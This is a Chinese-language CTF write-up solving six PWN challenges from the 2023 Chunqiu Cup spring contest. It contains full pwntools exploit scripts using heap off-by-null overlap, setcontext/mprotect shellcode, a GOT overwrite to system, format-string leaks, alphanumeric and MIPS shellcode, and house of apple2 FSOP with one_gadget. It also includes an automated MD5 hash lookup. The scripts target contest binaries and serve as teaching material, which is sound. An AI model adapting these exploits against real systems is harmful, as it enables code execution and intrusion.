2023年春秋杯网络安全联赛春季赛PWN(AK)

每天花一个小时左右的时间做了一下

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p2048

这题都没昨看就莫名其妙的出来了，调试的时候写了如下的exp，然后wasd+enter乱按就拿到shell了。如果一次不成功，可以再来一次（XD

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from pwn import *

#context(arch='amd64', os='linux', log_level='debug')

file_name = './p2048'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('39.106.65.110', 38152)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

dbgg()

r.sendline(b'aw' * (0x1ee) + b'B')

r.interactive()
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babyaul

第一步需要修一下bins的头，修成如下样子就可以正常运行babyaul了

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➜  babyaul xxd bins
00000000: 1b4c 7561 5100 0104 0804 0800 0900 0000  .LuaQ...........
00000010: 0000 0000 406c 7561 2e6c 7561 0000 0000  ....@lua.lua....
00000020: 0000 0000 0000 0002 020b 0000 0001 4000  ..............@.
00000030: 0007 0000 0001 c000 0007 8000 0024 0000  .............$..
00000040: 0007 0001 0024 4000 0007 4001 0024 8000  .....$@...@..$..
00000050: 0007 8001 001e 0080 0007 0000 0004 0800  ................
00000060: 0000 0000 0000 7061 7373 7374 7200 0401  ......passstr...
00000070: 0000 0000 0000 0000 0408 0000 0000 0000  ................

利用unluac.jar反编译出lua源码

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java -jar unluac/bin/unluac.jar  bins > aul.lua

lua源码如下

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passstr = ""
is_pass = 0
function bypass()
  io.write("pass:")
  passstr = io.read("*l")
  is_pass = pass(string.sub(passstr, 1, 4))
  if is_pass == 1 then
    print("passed!")
  else
    print("pass faild!")
  end
end
function run()
  while true do
    io.write(">")
    local ops = io.read("*l")
    if ops == "pass" then
      init_pass()
      bypass()
    elseif ops == "add" then
      if is_pass == 1 then
        print("size?")
        size = io.read("*number")
        print("mode?")
        mode = io.read("*number")
        res_add = add_chunk(size, mode)
        if res_add == 1 then
          print("add success")
        else
          print("add err!")
        end
      else
        print("pass first...")
      end
    elseif ops == "del" then
      if is_pass == 1 then
        print("index?")
        index = io.read("*number")
        res_del = del_chunk(index)
        if res_del == 1 then
          print("del success")
        else
          print("del err!")
        end
      else
        print("pass first...")
      end
    elseif ops == "get" then
      if is_pass == 1 then
        print("index?")
        index = io.read("*number")
        res_get = get_chunk(index)
        if res_get ~= 1 then
          print("get err!")
        end
      else
        print("pass first...")
      end
    elseif ops == "exit" then
      print("exit")
      break
    end
  end
end
function main()
  alarm(120)
  banner()
  run()
end

可以看到要过pass，逆一下pass的处理代码

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__int64 __fastcall sub_615F(__int64 a1)
{
  int i; // [rsp+14h] [rbp-3Ch]
  __int64 v3; // [rsp+18h] [rbp-38h]
  char v4[40]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+48h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( (unsigned int)sub_6FF0(a1, 0xFFFFFFFFLL) )
  {
    v3 = sub_7240(a1, 0xFFFFFFFFLL, 0LL);
    sub_6D50(a1, -1);
    sub_5FF5(v3, (__int64)v4);
    for ( i = 0; i <= 31; ++i )
    {
      if ( v4[i] != byte_2E140[i] )
      {
        sub_7460(a1, 0);
        return 0LL;
      }
    }
    sub_7460(a1, 1);
    return 1LL;
  }
  else
  {
    printf("not string!");
    return 0LL;
  }
}

4个随机的数据，经过sha256加密输出，需要爆破出4个随机数据的具体数值，这里笔者直接在网站上爆破的，爆破完之后输入进去即可

漏洞是2.31下的off-by-null，直接套板子，打出overlapping之后任意地址写hook为magic_gadget，然后一套orw即可

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from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './babyaul'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('39.106.65.110', 19233)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

menu = '>'
menu2 = '>>'

def add(size, mode1, content):
    r.sendlineafter(menu2, 'add')
    r.sendlineafter('size?\n', str(size))
    r.sendlineafter('mode?\n', str(mode1))
    r.sendline(content)

def delete(index):
    r.sendlineafter(menu2, 'del')
    r.sendlineafter('index?\n', str(index))

def show(index):
    r.sendlineafter(menu2, 'get')
    r.sendlineafter('index?\n', str(index))



r.sendafter(menu, 'pass\n')
r.recvuntil('pass')

pd = input('give me pass: ')
li(pd)

r.sendlineafter(':', str(pd))

r.sendlineafter(menu, 'add')
r.sendlineafter('size?\n', str(0x510))
r.sendlineafter('mode?\n', str(3))
r.send('a' * 8)
add(0, 2, 'a' * 8)
add(0, 2, 'a' * 8)
add(0, 2, 'a' * 8)
add(0x4f0, 3, 'a' * 8)
add(0, 2, 'a' * 8)

delete(0)
add(0x510, 3, 'a' * 7)
show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc-2.31.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))

delete(2)
delete(3)
add(0, 2, '')

show(2)
heap_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x4da
li('heap_base = ' + hex(heap_base))

delete(2)

p1 = p64(heap_base + 0x530) + 0xf8 * b'a' + p64(0x210)
add(0x108, 1, p1)

p2 = p64(0) + p64(0x211) + p64(heap_base + 0x640 - 0x18) + p64(heap_base + 0x640 - 0x10)
add(0, 2, p2)

delete(4)

delete(1)
delete(2)

p3 = b'\x00' * 0xf8 + p64(0x111) + p64(free_hook)
add(0x500, 3, p3)

add(0, 2, '')

#gadget = 0x151990 + libc_base
gadget = 0x00000000001518b0 + libc_base
add(0, 2, p64(gadget))
heap_first = heap_base + 0xd60
setcontext = libc.sym['setcontext'] + 61 + libc_base
mprotect_addr = libc.sym['mprotect'] + libc_base

shellcode = shellcraft.open('./flag', 0)
shellcode += shellcraft.read(3, heap_first + 0x200, 0x100)
shellcode += shellcraft.write(1, heap_first + 0x200, 0x100)
shellcode = asm(shellcode)

p1 = p64(heap_first + 0x100) + p64(heap_first)
p1 = p1.ljust(0x20, b'\x00') + p64(setcontext)
p1 = p1.ljust(0x68, b'\x00') + p64(heap_base - 0xb230)
p1 = p1.ljust(0x70, b'\x00') + p64(0x21000)
p1 = p1.ljust(0x88, b'\x00') + p64(7)
p1 = p1.ljust(0xa0, b'\x00') + p64(heap_first)
p1 = p1.ljust(0xa8, b'\x00') + p64(mprotect_addr)
p1 = p1.ljust(0x100, b'\x00') + shellcode

add(0x500, 3, p1)
delete(6)

r.interactive()

easy_LzhiFTP_CHELL

这里就是多了一次touch，导致可以覆盖下面chunk地址

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if ( !strncmp(opcode, "touch", 5uLL) && file_flags <= 16 && strlen(opcode) > 6 )

然后利用这一次touch，打chunk的地址到puts_got，然后edit打got到system_plt即可

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from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './easy_LzhiFTP'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 0
if debug:
    r = remote('39.106.131.193', 22639)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

raw_input()

r.sendlineafter('Username: ', 'z1r0')
r.sendlineafter('Input Password: ', p64(0x0000000a00000072))

r.sendlineafter('do you like my Server??(yes/No)', 'yes%6$p')

menu = 'IMLZH1-FTP> '

def debug():
    r.sendlineafter(menu, 'debug')

def touch(file_name, content):
    r.sendlineafter(menu, 'touch ' + file_name)
    r.sendafter('write Context:', content)

def edit(index, content):
    r.sendlineafter(menu, 'edit')
    r.sendlineafter('idx:', str(index))
    r.sendafter('Content: ', content)

def delete(index):
    r.sendlineafter(menu, 'del')
    r.sendlineafter('idx:', str(index))

r.recvuntil('0x')
leak_addr = int(r.recv(12), 16)
li('leak_addr = ' + hex(leak_addr))

elf_base = leak_addr - 0x2096
li('elf_base = ' + hex(elf_base))

puts_got = elf.got['puts'] + elf_base

for i in range(16):
    touch('/bin/sh\x00', 'z1r0')

delete(0)
r.sendlineafter(menu, b'touch ' + p64(puts_got))
r.sendafter('write Context:', 'z1r0')

system_plt = elf_base + elf.plt['system']

edit(0, p64(system_plt))

r.sendline('ls')


r.interactive()

babygame

漏洞点在sub_401511这函数里

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__int64 __fastcall sub_401511(char *a1)
{
  __int64 result; // rax
  int v2; // [rsp+14h] [rbp-3Ch]
  int v3; // [rsp+18h] [rbp-38h]
  int v4; // [rsp+1Ch] [rbp-34h]
  char v5[40]; // [rsp+20h] [rbp-30h]
  unsigned __int64 v6; // [rsp+48h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  *a1 = toupper(*a1);
  if ( *a1 <= '@' || *a1 > 'M' )
    return 0LL;
  v2 = sub_4014BC(a1[1]);
  v3 = sub_4014BC(a1[2]);
  v4 = sub_4014BC(a1[3]);
  result = (unsigned int)(*a1 - 65);
  switch ( *a1 )
  {
    case 'A':
      result = v2;
      v5[v2] = v4;
      break;
    case 'B':
      result = v2;
      v5[v2] = 0;
      break;
    case 'C':
      result = *(_QWORD *)&v5[v4 + 0x10];
      *(_QWORD *)&v5[v2] = result;
      break;
    case 'D':
      result = v4;
      v5[v4 + 16] = v5[v2];
      break;
    case 'E':
      result = v2;
      v5[v2] = v5[v3] + v5[v4];
      break;
    case 'F':
      result = v2;
      v5[v2] = v5[v3] - v5[v4];
      break;
    case 'G':
      result = v2;
      v5[v2] = v5[v4] & v5[v3];
      break;
    case 'H':
      result = v2;
      v5[v2] = v5[v4] | v5[v3];
      break;
    case 'I':
      result = v2;
      v5[v2] = v5[v4] ^ v5[v3];
      break;
    case 'J':
      result = v2;
      v5[v2] = 2 * v5[v3];
      break;
    case 'K':
      result = v2;
      v5[v2] = v5[v3] >> 1;
      break;
    default:
      return result;
  }
  return result;
}

可以控制v2 v3 v4，并且有一块具有rwx的地址，可以覆盖到这个函数的返回地址

所以可以把那一个rwx地址写到v5里，然后利用C，把rwx的地址直接写到这个函数的返回地址

在进行漏洞之前还需要expansion backpack一下backpack_size，这样子我们就可以借助Purchase props来写很多的数据到rwx那里，shellcode直接用的可见字符

这里比较烦的是md5这一部分，这里笔者借助了一个api，https://md5decrypt.net/Api/api.php?hash=' + hash + '&hash_type=md5&email=xxxx@qq.com&code=xxxxx'，去注册一下，邮箱里会得到code，填上去即可使用

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from pwn import *
from pyquery import PyQuery as pq
import requests
from lxml import etree
from time import sleep

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('47.93.6.210', 41031)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

def decrypt(a):
    url='https://www.cmd5.com/'
    request=requests.session()
    html_code=request.post(url).text
    doc=pq(html_code)
    viewstart=doc('#__VIEWSTATE').attr.value
    VIEWSTATEGENERATOR=doc('#__VIEWSTATEGENERATOR').attr.value
    ContentPlaceHolder1_HiddenField2=doc('#ctl00_ContentPlaceHolder1_HiddenField2').attr.value

    data={
        '__EVENTTARGET':'Button1',
        '__EVENTARGUMENT':'',
        '__VIEWSTATE':viewstart,
        '__VIEWSTATEGENERATOR':VIEWSTATEGENERATOR,
        #输入加密参数
        'ctl00$ContentPlaceHolder1$TextBoxInput':a,
        #类型   这个类型可以改成别的 如加密参数书 base64 就改成base64
        'ctl00$ContentPlaceHolder1$InputHashType':'md5',
        'ctl00$ContentPlaceHolder1$Button1':'查询',
        'ctl00$ContentPlaceHolder1$HiddenFieldAliCode':'',
        'ctl00$ContentPlaceHolder1$HiddenField1':'',
        'ctl00$ContentPlaceHolder1$HiddenField2':ContentPlaceHolder1_HiddenField2
    }

    headers={
        'referer':'https://www.cmd5.com/'
    }

    request_cmd5=request.post(url,data=data,headers=headers).text
    two_doc=pq(request_cmd5)
    Decrypt=two_doc('#LabelAnswer').text()

    return Decrypt

def md5dec(hash):
    url = 'https://md5decrypt.net/Api/api.php?hash=' + hash + '&hash_type=md5&email=xxx@qq.com&code=xxxxx'
    response = requests.get(url)
    return response.text

menu = '>> '

def play_game(num):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Please enter your level : ', '4')
    for i in range(num):
        r.recvuntil(' == ')
        md5_enc = int(r.recvuntil('\n'), 16)
        #li(hex(md5_enc)[2:])
        md5_enc = hex(md5_enc)[2:]
        md5_dec = md5dec(md5_enc)
        li(md5_dec)
        if len(md5_dec) < 0 or len(md5_dec) > 6:
            r.sendlineafter('Give me : ', 'a')
            r.sendlineafter(menu, '1')
            r.sendlineafter('Please enter your level : ', '4')
            continue
        r.sendlineafter('Give me : ', str(md5_dec))
    r.sendlineafter('Give me : ', 'a')

def backpack(size):
    r.sendlineafter(menu, '2')
    r.sendlineafter(menu, '2')
    r.sendlineafter('What size do you need : ', str(size))

def purchase_props(content):
    r.sendlineafter(menu, '2')
    r.sendlineafter(menu, '1')
    r.sendafter('Enter the letter you want to purchase', content)

def using_props():
    r.sendlineafter(menu, '2')
    r.sendlineafter(menu, '3')

play_game(30)
backpack(0x100)
#shellcode = asm(shellcraft.sh())
shellcode = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
purchase_props('AG0GAH00AI02Co00' + shellcode)

r.interactive()

sigin_shellcode

这里可以直接运行shellcode

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void battle()
{
  unsigned int v0; // $v0
  int i; // [sp+18h] [+18h]
  int coin; // [sp+1Ch] [+1Ch]
  int result; // [sp+20h] [+20h]
  void (*func_ptr)(...); // [sp+24h] [+24h]
  char buf[80]; // [sp+28h] [+28h] BYREF

  puts("[-]The boss's DEF is 2751\n[-]The boss's ATK is 9999");
  printf("[-]Your DEF is 0\n[-]Your ATK is %d\n", attack);
  puts("[-]Now toss a coin to decide who attack first");
  v0 = time(0);
  srand(v0);
  coin = rand() % 2;
  printf("[*]The COIN is %d\n", coin);
  if ( coin == 1 )
  {
    puts("[+]Boss get the first attack!");
    puts("[+]0 - 9999 = -9999");
    puts("You Died!!");
    exit(0);
  }
  if ( coin )
  {
    printf("Woring!");
    exit(0);
  }
  puts("[+]You get the first attack!");
  puts("[+]Attacking...");
  result = attack - 2751;
  if ( attack - 2751 < 0 )
  {
    printf("Your ATK is %d\n", attack);
    exit(0);
  }
  puts("You beat the boss!!");
  puts("Now open the box which the Princess in.");
  puts("I have already give you a useful_tools.");
  puts("Shellcode > ");
  memset(buf, 0, sizeof(buf));
  read(0, buf, 0x10u);
  func_ptr = (void (*)(...))buf;
  for ( i = 0; i < strlen(buf); ++i )
  {
    if ( !check(buf[i]) )
    {
      puts("[*]BOX: Forbidden!");
      exit(0);
    }
  }
  useful_tools();
  func_ptr();
}

但是需要满足条件，attack - 2751 < 0，并且shellcode需要被check，这里的check很好绕过，li $a1, 0，前面是\x00，直接绕过了strlen

attack在shop那里，需要满足coin_sum >= 2751，dump出了coin每次rand之后的数，这样coin_sum在100次以内就会大于等于2751

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from pwn import *
from ctypes import *

context(arch='mips', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('39.106.131.193', 45307)
else:
    r = process(['./qemu-mipsel-static', '-L', '.', file_name])
    #r = process(['./qemu-mipsel-static', '-L', '.', '-g', '1234', file_name])

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

menu = 'Go> \n'

def down(count):
    r.sendlineafter(menu, '1')
    r.sendlineafter('How much do you want?\n', str(count))

def shop(stick):
    r.sendlineafter(menu, '3')
    r.sendlineafter('> ', str(stick))

dbgg()

#libc=cdll.LoadLibrary("./lib/libc.so.0")
#libc.srand(0x1BF52)

down(0)
down(1)
down(2)
down(1)
down(4)
down(5)
down(4)
down(5)
down(8)
down(9)
down(8)
down(5)
down(5)
down(0xb)
down(0xe)
down(5)
down(0x10)
down(0x11)
down(5)
down(9)
down(0xb)
down(0x13)
down(3)
down(5)
down(4)
down(5)
down(0x11)
down(0x19)
down(0xe)
down(0x1d)
down(0x1e)
down(5)
down(8)
down(0x21)
down(4)
down(0x11)
down(0x20)
down(5)
down(5)
down(0x1d)
down(0x21)
down(0xb)
down(0)
down(0x29)
down(0x2c)
down(3)
down(6)
down(5)
down(0x2e)
down(0x1d)
down(0x32)
down(5)
down(0x2f)
down(0x11)
down(0x13)
down(0x35)
down(5)
down(0x2b)
down(0x34)
down(0x1d)
down(0x20)
down(0x3d)
down(0x35)
down(5)
down(0x2c)
down(0x29)
down(0x3c)
down(0x21)
down(0x1a)
down(0x27)
down(1)
down(0x35)
down(0x34)
down(0x45)
down(0x1d)
down(5)
down(0x4a)
down(5)
down(0x1d)
down(0x45)
down(0x2c)
down(0x21)
down(0x24)
down(0x35)
down(0x54)
down(0x2b)
down(0xe)
down(0x55)
down(0x51)
down(0x59)
down(0x12)
down(0x31)
down(0x5c)
down(0x35)
down(0x18)
down(5)
down(0x5d)
down(0x5f)
down(8)
#down(0x1d)

shop(3)
shop(2)

down(0)

#shellcode = b'\x00\x00' * 2
shellcode = asm('''
li $a2, 0
xor $a1, $a1
''')
li(disasm(shellcode))
r.send(shellcode)
#for i in range(10):
#    li(disasm(b'\x00' + b'\\x' + bytes(i)))

r.interactive()

three-body

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__int64 sub_1A22()
{
  int index; // [rsp+Ch] [rbp-4h]

  sub_1554("Select an area you want to abandon to return: ");
  index = read_input();
  if ( heap_ptr[index] )
    return sub_16AA(heap_ptr[index]);           // uaf
  else
    return my_error_write("You haven't explored the area and can't return from this route.");
}

uaf，但是show和edit只可以用一次，add有随机概率，不用管，因为申请的堆块不是太多，add直接当正常的来使用，然后一套house of apple2即可

笔者一分钟试一次，试了三次就出来了

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from pwn import *
from ctypes import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 0
if debug:
    r = remote('39.106.65.236', 16484)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

menu = 'Your choice: '

Meet_the_criteria = []

def add(index, size):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Select an area to explore: ', str(index))
    r.sendlineafter('Enter the size of the range you want to explore this time: ', str(size))
    r.sendlineafter('Your decision: (1: yes / 0: no)', '0')
    r.recvuntil('It seems that you are confident in yourself, move on.\n')
    a = r.recv(4)
    if a == b'Luck':
        li('index = ' + hex(index))
        Meet_the_criteria.append(index)

def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Select an area you want to abandon to return: ', str(index))

def edit(index, size, content):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Please select which area to talk to: ', str(index))
    r.sendlineafter('Since remote calls are costly, enter the specific number of words you want to send: ', str(size))
    r.sendafter('Please write down your conclusions: ', content)

def show(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Select to enter an area to receive a signal from the Trisolarans: ', str(index))

dbgg()

add(0, 0x710)
add(1, 0x700)
add(2, 0x700)
add(3, 0x700)
li(Meet_the_criteria)

delete(0)
delete(2)

show(0)

leak_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

r.recvuntil('\x00' * 2)
heap_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('heap_addr = ' + hex(heap_addr))
heap_base = heap_addr

libc_base = leak_addr - 0x219ce0
li('libc_base = ' + hex(libc_base))
libc = ELF('./libc-2.35.so')

add(4, 0x700)
delete(2)

leave_ret = 0x00000000000562ec + libc_base
_IO_list_all = libc_base + libc.sym['_IO_list_all']
heap_base = heap_addr - 0xe30
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
target_addr = heap_base
one = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
one_gadget = one[1] + libc_base

p2 = p64(0) + p64(leave_ret) + p64(0) + p64(_IO_list_all - 0x20)
p2 = p2.ljust(0x18, b'\x00') + p64(1)
p2 = p2.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(one_gadget)
edit(0, len(p2), p2)
add(5, 0x900)
add(6, 0x700)

r.sendlineafter(menu, '5')
r.sendline('cat flag')

r.interactive()